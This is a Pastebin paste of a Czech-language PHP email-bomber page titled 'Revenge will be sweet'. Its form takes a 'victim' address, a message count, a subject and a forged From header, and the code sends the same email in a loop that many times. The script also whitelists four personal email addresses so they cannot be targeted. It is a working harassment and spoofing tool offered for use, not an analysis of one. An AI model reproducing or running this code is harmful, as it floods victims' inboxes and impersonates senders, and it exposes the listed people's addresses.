Advertisement
Guest User

Untitled

a guest
Aug 14th, 2017
599
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.02 KB | None | 0 0
  1. <?php
  2.  
  3. $whitelist = array("vita@mafyje.com","musiljan95@seznam.cz","lk.teply@gmail.com","eagle26@seznam.cz");
  4.  
  5. if(isset($_POST['to']))
  6. {
  7. ob_start();
  8.  
  9. $to = $_POST["to"];
  10. $subject = $_POST["subject"];
  11. $message = $_POST["message"];
  12. $from = $_POST["from"];
  13. $amount = $_POST["amount"];
  14.  
  15. $chyba = 0;
  16.  
  17. if($to == "")
  18. {
  19. echo "<h3>Musíš zadat email oběti.</h3>";
  20. $chyba = 1;
  21. }
  22.  
  23. if($subject == "")
  24. {
  25. echo "<h3>Musíš zadat předmět.</h3>";
  26. $chyba = 1;
  27. }
  28.  
  29. if($message == "")
  30. {
  31. echo "<h3>Musíš zadat zprávu.</h3>";
  32. $chyba = 1;
  33. }
  34.  
  35. if($from == "")
  36. {
  37. echo "<h3>Musíš zadat od koho to bude.</h3>";
  38. $chyba = 1;
  39. }
  40.  
  41. if($amount <= 0)
  42. {
  43. echo "<h3>Musíš zadat počet zpráv nebo jich musí být vic jak 0.</h3>";
  44. $chyba = 1;
  45. }
  46.  
  47. if(in_array($to,$whitelist))
  48. {
  49. echo "<h3>Na tenhle mail to poslat nemuzes.</h3>";
  50. $chyba = 1;
  51. }
  52.  
  53. if(!$chyba)
  54. {
  55. $i = 0;
  56.  
  57. while ($i < $amount)
  58. {
  59. mail($to, $subject, $message, "From: ".$from);
  60. $i++;
  61. }
  62. }
  63.  
  64. $errormsg = ob_get_contents();
  65. ob_end_clean();
  66.  
  67. }
  68. ?>
  69.  
  70. <html>
  71. <head>
  72. <link href = "favicon.PNG" rel="icon" type="image/png"></href>
  73. <meta http-equiv = "Content-Type" content = "text/html; charset = Windows-1250"></meta>
  74. <title>Pomsta bude sladká</title>
  75. <body bgcolor = "black">
  76. <style type = "text/css">
  77. body,td,th {
  78. color: #00CC00;
  79. }
  80. </style>
  81. <div align = "center">
  82. <?php echo $errormsg; ?>
  83. <form action = "" method = "post">
  84. </br>
  85. </br>
  86. Oběť</br><input type = "text" name = "to"></input>
  87. </br>
  88. </br>
  89. Kolik:</br><input type = "text" name = "amount"></input>
  90. </br>
  91. </br>
  92. Předmět:</br><input type = "text" name = "subject"></input>
  93. </br>
  94. </br>
  95. Od koho:</br><input type = "text" name = "from"></input>
  96. </br>
  97. </br>
  98. Zpráva:</br><textarea name = "message" rows = "5" cols = "23"></textarea>
  99. </br>
  100. </br>
  101. <input type = "submit" value = "Odešli!"></input>
  102. </br>
  103. <input type = "reset" value = "Smaž všechno!">
  104. </div>
  105. </form>
  106. </body>
  107. </head>
  108. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement